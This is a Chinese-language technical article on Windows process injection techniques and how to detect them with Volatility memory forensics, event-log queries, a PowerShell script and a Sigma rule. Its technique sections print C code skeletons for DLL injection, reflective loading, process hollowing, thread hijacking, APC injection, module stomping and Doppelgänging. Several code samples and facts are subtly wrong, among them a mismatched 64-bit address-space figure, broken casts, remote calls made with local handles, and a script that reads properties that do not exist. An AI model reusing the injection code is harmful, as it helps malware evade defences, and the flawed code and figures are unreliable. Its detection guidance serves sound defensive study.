进程注入技术深度分析与内存取证检测

进程注入是现代恶意软件最常用的防御规避技术之一。根据 Picus Red Report 2026 的数据，T1055（Process Injection）出现在 80% 的顶级恶意软件技术中。攻击者通过将恶意代码注入到合法进程的内存空间中，使恶意代码在合法进程的上下文中执行，从而规避基于进程名称和文件哈希的安全检测。

已有文章 内存取证与Volatility深度分析 覆盖了内存取证的基础方法，系统进程检查结果与伪装及LOLBin执行链分析 覆盖了进程层面的取证分析。本文换一个角度：不讨论通用的进程取证，而是聚焦于进程注入技术的完整攻击链，深入分析各种注入技术的原理、实现机制、取证特征和检测方法，以及如何通过内存取证工具识别和提取注入证据。

0x01 进程注入的基础原理

1. 进程内存空间

每个 Windows 进程都有自己独立的虚拟地址空间。在 32 位系统上，地址空间范围为 0 到 0x7FFFFFFF（2GB）；在 64 位系统上，地址空间范围为 0 到 0x7FFFFFFFFFF（128TB）。进程地址空间包含以下区域：

代码段（.text）：可执行代码，只读
数据段（.data）：已初始化的全局变量
BSS 段（.bss）：未初始化的全局变量
堆（Heap）：动态分配的内存
栈（Stack）：函数调用栈
DLL 映射区域：加载的动态链接库

2. 进程注入的核心步骤

所有进程注入技术都遵循以下三个核心步骤：

目标选择：选择合适的目标进程（通常是高权限或受信任的进程）
内存分配：在目标进程中分配内存空间
代码写入：将恶意代码写入分配的内存
执行触发：强制目标进程执行注入的代码

3. 关键 Windows API

进程注入依赖以下 Windows API：

API	用途
`OpenProcess`	获取目标进程的句柄
`VirtualAllocEx`	在目标进程中分配内存
`WriteProcessMemory`	向目标进程写入数据
`CreateRemoteThread`	在目标进程中创建远程线程
`NtCreateThreadEx`	未文档化的线程创建 API
`RtlCreateUserThread`	未文档化的线程创建 API
`QueueUserAPC`	向线程队列添加 APC
`SetThreadContext`	修改线程上下文
`NtUnmapViewOfSection`	解除内存映射

0x02 经典 DLL 注入（T1055.001）

1. 技术原理

经典 DLL 注入是最基础的进程注入技术。攻击者将恶意 DLL 的路径写入目标进程的内存空间，然后强制目标进程加载该 DLL。

2. 实现机制

// 1. 打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);

// 2. 在目标进程中分配内存
LPVOID pRemoteMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, 
                                       MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

// 3. 将 DLL 路径写入目标进程内存
WriteProcessMemory(hProcess, pRemoteMemory, dllPath, strlen(dllPath) + 1, NULL);

// 4. 获取 LoadLibraryA 的地址
FARPROC pLoadLibrary = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");

// 5. 在目标进程中创建远程线程，执行 LoadLibraryA
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, 
                                     (LPTHREAD_START_ROUTINE)pLoadLibrary, 
                                     pRemoteMemory, 0, NULL);

3. 取证特征

目标进程中出现新的 DLL 加载记录
事件日志中可能出现 CreateRemoteThread 调用
Sysmon Event ID 8（CreateRemoteThreadAPI）会记录远程线程创建
目标进程的 VAD（Virtual Address Descriptor）中出现新的内存映射

4. 检测方法

# 使用 Volatility 检测 DLL 注入
python3 vol.py -f memory.dmp windows.dlllist --pid <target_pid>

# 检查异常的 DLL 加载
python3 vol.py -f memory.dmp windows.ldrmodules --pid <target_pid>

0x03 反射 DLL 注入（Reflective DLL Injection）

1. 技术原理

反射 DLL 注入是经典 DLL 注入的改进版本。攻击者将恶意 DLL 直接写入目标进程的内存空间，然后由 DLL 自身负责加载和执行，不需要调用 LoadLibrary。

2. 实现机制

反射 DLL 包含一个特殊的导出函数 ReflectiveLoader，该函数负责：

在目标进程中分配内存
将 DLL 的各个段（.text、.data 等）复制到分配的内存
处理重定位表（Relocation Table）
解析导入表（Import Table）
调用 DLL 的入口点（DllMain）

// 反射加载器的核心逻辑
VOID ReflectiveLoader(VOID) {
    // 1. 获取 DLL 基地址
    IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER)GetModuleHandle(NULL);
    IMAGE_NT_HEADERS* pNtHeaders = (IMAGE_NT_HEADERS)((BYTE*)pDosHeader + pDosHeader->e_lfanew);
    
    // 2. 分配内存
    LPVOID pBase = VirtualAlloc(NULL, pNtHeaders->OptionalHeader.SizeOfImage, 
                                 MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    // 3. 复制 PE 头和各段
    memcpy(pBase, pDosHeader, pNtHeaders->OptionalHeader.SizeOfHeaders);
    // ... 复制各个段
    
    // 4. 处理重定位
    ProcessRelocations(pBase, pNtHeaders);
    
    // 5. 解析导入表
    ProcessImports(pBase, pNtHeaders);
    
    // 6. 调用 DllMain
    DLLMAIN pDllMain = (DLLMAIN)((BYTE*)pBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
    pDllMain(pBase, DLL_PROCESS_ATTACH, NULL);
}

3. 取证特征

DLL 不会出现在 PEB（Process Environment Block）的加载模块列表中
DLL 不会出现在 LDR（Loader）数据结构的链表中
DLL 的内存区域具有 PAGE_EXECUTE_READWRITE 权限
DLL 的内存区域没有关联的文件映射

4. 检测方法

# 使用 Volatility 检测反射 DLL 注入
# 1. 检查 DLL 加载不一致
python3 vol.py -f memory.dmp windows.ldrmodules --pid <target_pid>

# 2. 检查 RWX 内存区域
python3 vol.py -f memory.dmp windows.malfind --pid <target_pid>

# 3. 检查 VAD 中的异常内存映射
python3 vol.py -f memory.dmp windows.vadinfo --pid <target_pid>

关键检测点：如果 ldrmodules 显示某个 DLL 在 InLoad、InInit、InMem 三列中不一致（例如 InMem=True 但 InLoad=False），说明该 DLL 是通过反射注入的。

0x04 进程空心（Process Hollowing，T1055.012）

1. 技术原理

进程空心是一种高级注入技术。攻击者创建一个合法进程（如 svchost.exe），但将其暂停，然后解除（hollow out）其代码段，替换为恶意代码，最后恢复执行。

2. 实现机制

// 1. 创建挂起状态的合法进程
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL, FALSE, 
               CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// 2. 解除目标进程的代码段
typedef NTSTATUS (NTAPI* ZWUNMAPVIEWOFSECTION)(HANDLE, PVOID);
ZWUNMAPVIEWOFSECTION pZwUnmapViewOfSection = 
    (ZWUNMAPVIEWOFSECTION)GetProcAddress(GetModuleHandleA("ntdll.dll"), 
                                          "ZwUnmapViewOfSection");
pZwUnmapViewOfSection(pi.hProcess, (PVOID)pi.lpBaseOfImage);

// 3. 分配新的内存空间
LPVOID pNewImage = VirtualAllocEx(pi.hProcess, pMaliciousImageBase, 
                                   pMaliciousImageSize, 
                                   MEM_COMMIT | MEM_RESERVE, 
                                   PAGE_EXECUTE_READWRITE);

// 4. 写入恶意代码
WriteProcessMemory(pi.hProcess, pNewImage, pMaliciousImage, 
                   pMaliciousImageSize, NULL);

// 5. 设置线程上下文，指向恶意代码的入口点
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
ctx.Eax = (DWORD)pMaliciousEntryPoint;  // 设置入口点
SetThreadContext(pi.hThread, &ctx);

// 6. 恢复线程执行
ResumeThread(pi.hThread);

3. 取证特征

进程的映像路径（ImagePath）显示为合法进程（如 svchost.exe）
进程的入口点（Entry Point）不在合法模块的地址范围内
进程的 VAD 中没有与 ImagePath 对应的内存映射
进程的内存中存在 RWX 区域，且包含 PE 头

4. 检测方法

# 使用 Volatility 检测进程空心
# 1. 检查进程入口点
python3 vol.py -f memory.dmp windows.pslist --pid <target_pid>

# 2. 检查 VAD 中的异常
python3 vol.py -f memory.dmp windows.vadinfo --pid <target_pid>

# 3. 检查 RWX 内存区域
python3 vol.py -f memory.dmp windows.malfind --pid <target_pid>

# 4. 使用 hollowfind 插件（如果可用）
python3 vol.py -f memory.dmp windows.hollowfind --pid <target_pid>

关键检测点：如果进程的 ImagePath 显示为 svchost.exe，但其入口点不在 svchost.exe 的地址范围内，且 VAD 中没有 svchost.exe 的内存映射，说明进程被空心化。

0x05 线程执行劫持（Thread Execution Hijacking，T1055.003）

1. 技术原理

线程执行劫持通过修改现有线程的执行流程，使其执行恶意代码。与创建远程线程不同，这种方法不需要创建新线程，因此更隐蔽。

2. 实现机制

// 1. 打开目标线程
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, targetThreadID);

// 2. 暂停线程
SuspendThread(hThread);

// 3. 获取线程上下文
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);

// 4. 保存原始入口点
DWORD_PTR originalEntryPoint = ctx.Eip;

// 5. 在目标进程中分配内存并写入恶意代码
LPVOID pRemoteMemory = VirtualAllocEx(hProcess, NULL, shellcodeSize, 
                                       MEM_COMMIT | MEM_RESERVE, 
                                       PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pRemoteMemory, shellcode, shellcodeSize, NULL);

// 6. 修改线程上下文，指向恶意代码
ctx.Eip = (DWORD_PTR)pRemoteMemory;
SetThreadContext(hThread, &ctx);

// 7. 恢复线程执行
ResumeThread(hThread);

3. 取证特征

没有新线程创建事件
线程的指令指针（EIP/RIP）指向异常的内存区域
线程的执行流程被中断和重定向

4. 检测方法

# 使用 Volatility 检测线程劫持
# 1. 检查线程列表
python3 vol.py -f memory.dmp windows.threads --pid <target_pid>

# 2. 检查线程的起始地址
python3 vol.py -f memory.dmp windows.threadinfo --pid <target_pid>

# 3. 检查 RWX 内存区域
python3 vol.py -f memory.dmp windows.malfind --pid <target_pid>

关键检测点：如果线程的起始地址（StartAddress）不在任何已知模块的地址范围内，说明线程可能被劫持。

0x06 APC 注入（Asynchronous Procedure Call，T1055.004）

1. 技术原理

APC（Asynchronous Procedure Call）注入利用 Windows 的 APC 机制。APC 是一种在特定线程上下文中执行代码的机制。攻击者将恶意代码的指针添加到目标线程的 APC 队列中，当线程进入可警告状态（alertable state）时，APC 会被执行。

2. 实现机制

// 1. 在目标进程中分配内存并写入恶意代码
LPVOID pRemoteMemory = VirtualAllocEx(hProcess, NULL, shellcodeSize, 
                                       MEM_COMMIT | MEM_RESERVE, 
                                       PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pRemoteMemory, shellcode, shellcodeSize, NULL);

// 2. 将恶意代码指针添加到目标线程的 APC 队列
QueueUserAPC((PAPCFUNC)pRemoteMemory, hThread, 0);

// 3. 当线程进入可警告状态时，APC 会被执行

3. 取证特征

没有新线程创建事件
没有远程线程创建事件
目标线程的 APC 队列中包含恶意代码指针

4. 检测方法

# 使用 Volatility 检测 APC 注入
# 1. 检查线程列表
python3 vol.py -f memory.dmp windows.threads --pid <target_pid>

# 2. 检查 RWX 内存区域
python3 vol.py -f memory.dmp windows.malfind --pid <target_pid>

# 3. 检查 APC 队列（如果插件可用）
python3 vol.py -f memory.dmp windows.apcinfo --pid <target_pid>

关键检测点：APC 注入非常隐蔽，因为不创建新线程。检测的关键是发现 RWX 内存区域，并确认该区域不属于任何已知模块。

0x07 Module Stomping（DLL Hollowing）

1. 技术原理

Module Stomping（也称为 DLL Hollowing 或 Module Overloading）是一种高级注入技术。攻击者首先加载一个合法的 DLL 到目标进程中，然后覆盖该 DLL 的入口点，使其执行恶意代码。

2. 实现机制

// 1. 在目标进程中加载合法 DLL
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, 
                                     (LPTHREAD_START_ROUTINE)LoadLibraryA, 
                                     "C:\\Windows\\System32\\legit.dll", 0, NULL);
WaitForSingleObject(hThread, INFINITE);

// 2. 获取合法 DLL 的基地址
HMODULE hLegitDll = GetModuleHandleA("legit.dll");

// 3. 修改 DLL 的入口点
DWORD oldProtect;
VirtualProtectEx(hProcess, (LPVOID)hLegitDll, 0x1000, 
                 PAGE_EXECUTE_READWRITE, &oldProtect);

// 4. 写入恶意代码到 DLL 的入口点
WriteProcessMemory(hProcess, (LPVOID)hLegitDll, maliciousCode, 
                   maliciousCodeSize, NULL);

// 5. 创建远程线程，执行修改后的入口点
CreateRemoteThread(hProcess, NULL, 0, 
                   (LPTHREAD_START_ROUTINE)hLegitDll, NULL, 0, NULL);

3. 取证特征

DLL 出现在 PEB 的加载模块列表中
DLL 的文件路径指向合法文件
DLL 的入口点被修改，指向恶意代码
DLL 的内存区域包含恶意代码，但文件哈希与磁盘上的合法 DLL 不匹配

4. 检测方法

# 使用 Volatility 检测 Module Stomping
# 1. 检查 DLL 列表
python3 vol.py -f memory.dmp windows.dlllist --pid <target_pid>

# 2. 检查 DLL 的内存内容
python3 vol.py -f memory.dmp windows.memdump --pid <target_pid> --dump-dir ./output

# 3. 比较内存中的 DLL 与磁盘上的 DLL
# 提取内存中的 DLL
python3 vol.py -f memory.dmp windows.dlllist --pid <target_pid> | grep legit.dll
# 导出内存中的 DLL
python3 vol.py -f memory.dmp windows.dumpfiles --pid <target_pid> --addr <dll_base>

# 4. 比较哈希值
# 内存中的 DLL 哈希 vs 磁盘上的 DLL 哈希

关键检测点：如果内存中的 DLL 哈希与磁盘上的 DLL 哈希不匹配，说明 DLL 被篡改（Module Stomping）。

0x08 Process Doppelgänging（T1055.013）

1. 技术原理

Process Doppelgänging 是一种利用 NTFS 事务（Transaction）功能的注入技术。攻击者创建一个事务，在事务中修改合法文件，然后在事务提交前创建进程。这样创建的进程看起来是合法文件，但实际执行的是恶意代码。

2. 实现机制

// 1. 创建 NTFS 事务
HANDLE hTransaction = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL);

// 2. 在事务中打开合法文件
HANDLE hFile = CreateFileTransactedA("C:\\Windows\\System32\\legit.exe", 
                                      GENERIC_WRITE, 0, NULL, 
                                      CREATE_ALWAYS, 0, NULL, hTransaction);

// 3. 写入恶意代码
WriteFile(hFile, maliciousCode, maliciousCodeSize, NULL, NULL);

// 4. 在事务提交前创建进程
// 进程会看到事务中的文件内容（恶意代码）
PROCESS_INFORMATION pi;
CreateProcessAsUserA(hToken, "C:\\Windows\\System32\\legit.exe", NULL, 
                     NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

// 5. 回滚事务（不提交）
RollbackTransaction(hTransaction);

3. 取证特征

进程的文件路径指向合法文件
磁盘上的文件内容与内存中的文件内容不匹配
文件系统日志中可能出现事务记录

4. 检测方法

# 使用 Volatility 检测 Process Doppelgänging
# 1. 检查进程列表
python3 vol.py -f memory.dmp windows.pslist

# 2. 检查进程的内存内容
python3 vol.py -f memory.dmp windows.memdump --pid <target_pid> --dump-dir ./output

# 3. 比较内存中的文件与磁盘上的文件
# 提取内存中的文件
python3 vol.py -f memory.dmp windows.filescan | grep legit.exe
python3 vol.py -f memory.dmp windows.dumpfiles --physaddr <file_object_addr>

# 4. 比较哈希值

关键检测点：Process Doppelgänging 非常隐蔽，因为文件系统日志可能不会记录事务。检测的关键是发现内存中的文件内容与磁盘上的文件内容不匹配。

0x09 进程注入的综合检测方法

1. 内存取证工具链

工具	用途	检测目标
`malfind`	检测 RWX 内存区域	所有注入技术
`ldrmodules`	检测 DLL 加载不一致	反射 DLL 注入
`dlllist`	检查 DLL 列表	经典 DLL 注入、Module Stomping
`vadinfo`	检查 VAD 中的异常	进程空心
`threads`	检查线程列表	线程劫持、APC 注入
`hollowfind`	检测进程空心	进程空心
`yarascan`	使用 YARA 规则扫描	所有注入技术

2. 综合检测流程

# 步骤 1: 快速分诊
python3 vol.py -f memory.dmp windows.pslist
python3 vol.py -f memory.dmp windows.pstree

# 步骤 2: 检查 RWX 内存区域
python3 vol.py -f memory.dmp windows.malfind

# 步骤 3: 检查 DLL 加载异常
python3 vol.py -f memory.dmp windows.ldrmodules

# 步骤 4: 检查线程异常
python3 vol.py -f memory.dmp windows.threads

# 步骤 5: 使用 YARA 规则扫描
python3 vol.py -f memory.dmp windows.yarascan --yara-rules injection.yar

3. 事件日志关联分析

将内存取证结果与事件日志关联：

-- 检测远程线程创建
SELECT TimeCreated, SourceProcessId, TargetProcessId, StartAddress
FROM SecurityEvents
WHERE EventID = 8  -- Sysmon CreateRemoteThread
ORDER BY TimeCreated DESC

-- 检测异常的进程创建
SELECT TimeCreated, ParentProcessName, ProcessName, CommandLine
FROM SecurityEvents
WHERE EventID = 4688
  AND (ProcessName LIKE '%svchost.exe%' OR ProcessName LIKE '%explorer.exe%')
  AND ParentProcessName NOT IN ('services.exe', 'explorer.exe')
ORDER BY TimeCreated DESC

0x10 公开案例中的进程注入

案例一：Cobalt Strike Beacon — 反射 DLL 注入

Cobalt Strike Beacon 使用反射 DLL 注入将自身注入到合法进程中（如 explorer.exe、svchost.exe）。注入后，Beacon 在内存中运行，通过加密通道与 C2 服务器通信。

检测方法：调查人员使用 malfind 在 explorer.exe 中发现 RWX 内存区域，导出后分析发现是 Cobalt Strike Beacon。使用 ldrmodules 发现 DLL 加载不一致，确认是反射 DLL 注入。

案例二：Emotet — 进程空心

Emotet 使用进程空心技术将自身注入到 svchost.exe 中。攻击者创建挂起状态的 svchost.exe，解除其代码段，替换为 Emotet 代码，然后恢复执行。

检测方法：调查人员使用 vadinfo 发现 svchost.exe 的 VAD 中没有与 ImagePath 对应的内存映射，使用 malfind 发现 RWX 内存区域，确认是进程空心。

案例三：APT29 — Module Stomping

APT29 使用 Module Stomping 技术将恶意代码注入到合法 DLL 中。攻击者加载合法 DLL，然后覆盖其入口点，使 DLL 执行恶意代码。

检测方法：调查人员使用 dlllist 发现可疑的 DLL，使用 memdump 导出 DLL 内容，比较内存中的 DLL 哈希与磁盘上的 DLL 哈希，发现不匹配，确认是 Module Stomping。

案例四：TrickBot — APC 注入

TrickBot 使用 APC 注入技术将恶意代码注入到合法线程中。攻击者将恶意代码指针添加到目标线程的 APC 队列中，当线程进入可警告状态时，APC 被执行。

检测方法：调查人员使用 threads 检查线程列表，使用 malfind 发现 RWX 内存区域，确认是 APC 注入。

0x11 证据强度分层

1. 确认注入（Confirmation Level）

以下条件满足任意一项即可确认存在进程注入：

malfind 发现 RWX 内存区域，且包含 PE 头或 shellcode
ldrmodules 显示 DLL 加载不一致（InLoad/InInit/InMem 不一致）
内存中的 DLL 哈希与磁盘上的 DLL 哈希不匹配
进程的入口点不在合法模块的地址范围内
线程的起始地址不在任何已知模块的地址范围内

2. 高度可疑（High Suspicion Level）

以下条件满足任意一项应当视为高度可疑：

malfind 发现 RWX 内存区域，但不包含 PE 头
vadinfo 显示 VAD 中没有与 ImagePath 对应的内存映射
dlllist 显示异常的 DLL 加载
事件日志中出现 CreateRemoteThread 事件（Event ID 8）
进程的父进程与子进程关系异常

3. 需要关注（Attention Level）

以下条件需要关注，但不足以单独判定注入：

进程中出现第三方签名 DLL
进程的内存使用量异常
事件日志中出现异常的进程创建

0x12 进程注入检测的自动化与狩猎

1. 进程注入检测 PowerShell 脚本

# Process Injection Detection Script
Write-Host "=== Process Injection Detection ===" -ForegroundColor Cyan

# 1. 检查异常的父进程-子进程关系
Write-Host "`n[1] Checking parent-child process relationships..." -ForegroundColor Yellow
$suspiciousProcesses = Get-CimInstance Win32_Process | Where-Object {
    ($_.Name -eq "svchost.exe" -and $_.ParentProcessId -ne (Get-CimInstance Win32_Service | Where-Object { $_.Name -eq "svchost" }).ProcessId) -or
    ($_.Name -eq "powershell.exe" -and $_.ParentProcessName -match "svchost.exe|explorer.exe") -or
    ($_.Name -eq "cmd.exe" -and $_.ParentProcessName -match "svchost.exe|explorer.exe")
}
if ($suspiciousProcesses) {
    Write-Host "[ALERT] Suspicious parent-child relationships:" -ForegroundColor Red
    $suspiciousProcesses | ForEach-Object {
        Write-Host "  PID: $($_.ProcessId) | Name: $($_.Name) | Parent: $($_.ParentProcessId)" -ForegroundColor Red
    }
}

# 2. 检查 RWX 内存区域（需要管理员权限）
Write-Host "`[2] Checking for RWX memory regions..." -ForegroundColor Yellow
# 注意：这需要调用 Windows API，PowerShell 脚本无法直接实现
# 建议使用 Volatility 或其他内存取证工具

# 3. 检查远程线程创建事件
Write-Host "`n[3] Checking for remote thread creation events..." -ForegroundColor Yellow
$remoteThreadEvents = Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=8} -ErrorAction SilentlyContinue
if ($remoteThreadEvents) {
    Write-Host "[ALERT] Remote thread creation events detected:" -ForegroundColor Red
    $remoteThreadEvents | Select-Object -First 10 | ForEach-Object {
        Write-Host "  Time: $($_.TimeCreated) | Source: $($_.Properties[0].Value) | Target: $($_.Properties[1].Value)" -ForegroundColor Red
    }
} else {
    Write-Host "[OK] No remote thread creation events found" -ForegroundColor Green
}

# 4. 检查异常的 DLL 加载
Write-Host "`n[4] Checking for suspicious DLL loads..." -ForegroundColor Yellow
# 检查非系统目录的 DLL
$suspiciousDlls = Get-Process | ForEach-Object {
    $_.Modules | Where-Object {
        $_.FileName -and 
        $_.FileName -notmatch "C:\\Windows\\System32|C:\\Windows\\SysWOW64|C:\\Program Files"
    }
}
if ($suspiciousDlls) {
    Write-Host "[ALERT] Suspicious DLL loads detected:" -ForegroundColor Red
    $suspiciousDlls | Select-Object -First 10 | ForEach-Object {
        Write-Host "  Module: $($_.FileName) | Process: $($_.ProcessName)" -ForegroundColor Red
    }
} else {
    Write-Host "[OK] No suspicious DLL loads found" -ForegroundColor Green
}

Write-Host "`n=== Detection Complete ===" -ForegroundColor Cyan

2. 事件日志狩猎查询

-- 综合进程注入事件日志狩猎

-- 1. 远程线程创建（Sysmon Event ID 8）
SELECT TimeCreated, SourceProcessId, SourceImage, TargetProcessId, TargetImage, StartAddress
FROM SysmonEvents
WHERE EventID = 8
ORDER BY TimeCreated DESC

-- 2. 异常的进程创建
SELECT TimeCreated, ParentProcessName, ProcessName, CommandLine
FROM SecurityEvents
WHERE EventID = 4688
  AND (ProcessName LIKE '%svchost.exe%' OR ProcessName LIKE '%explorer.exe%')
  AND ParentProcessName NOT IN ('services.exe', 'explorer.exe', 'userinit.exe')
ORDER BY TimeCreated DESC

-- 3. 检查 CreateRemoteThread API 调用
SELECT TimeCreated, ProcessName, TargetProcessName, StartAddress
FROM SysmonEvents
WHERE EventID = 8
  AND StartAddress NOT LIKE '%0x00000000%'
ORDER BY TimeCreated DESC

3. Sigma 检测规则

title: Process Injection - Remote Thread Creation
id: 1f2b5c3d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: test
description: Detects remote thread creation using CreateRemoteThread API
references:
    - https://attack.mitre.org/techniques/T1055/
date: 2026-06-23
tags:
    - attack.defense-evasion
    - attack.privilege-escalation
    - attack.t1055
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 8
        StartAddress|endswith:
            - '0x0'
    condition: selection
falsepositives:
    - Legitimate software using remote threads
level: medium

0x13 参考资料

Elastic Security: Ten Process Injection Techniques: A Technical Survey
SentinelOne: What is Process Injection? Techniques & Preventions
Palo Alto Networks: What Is Process Injection?
MITRE ATT&CK: T1055 — Process Injection
MITRE ATT&CK: T1055.001 — DLL Injection
MITRE ATT&CK: T1055.012 — Process Hollowing
MITRE ATT&CK: T1055.003 — Thread Execution Hijacking
MITRE ATT&CK: T1055.004 — Asynchronous Procedure Call
MITRE ATT&CK: T1055.013 — Process Doppelgänging
Picus Security: Picus Red Report 2026
Hive Security: Memory Forensics with Volatility 3: What Attackers Leave Behind
Varonis: How to Use Volatility for Memory Forensics and Analysis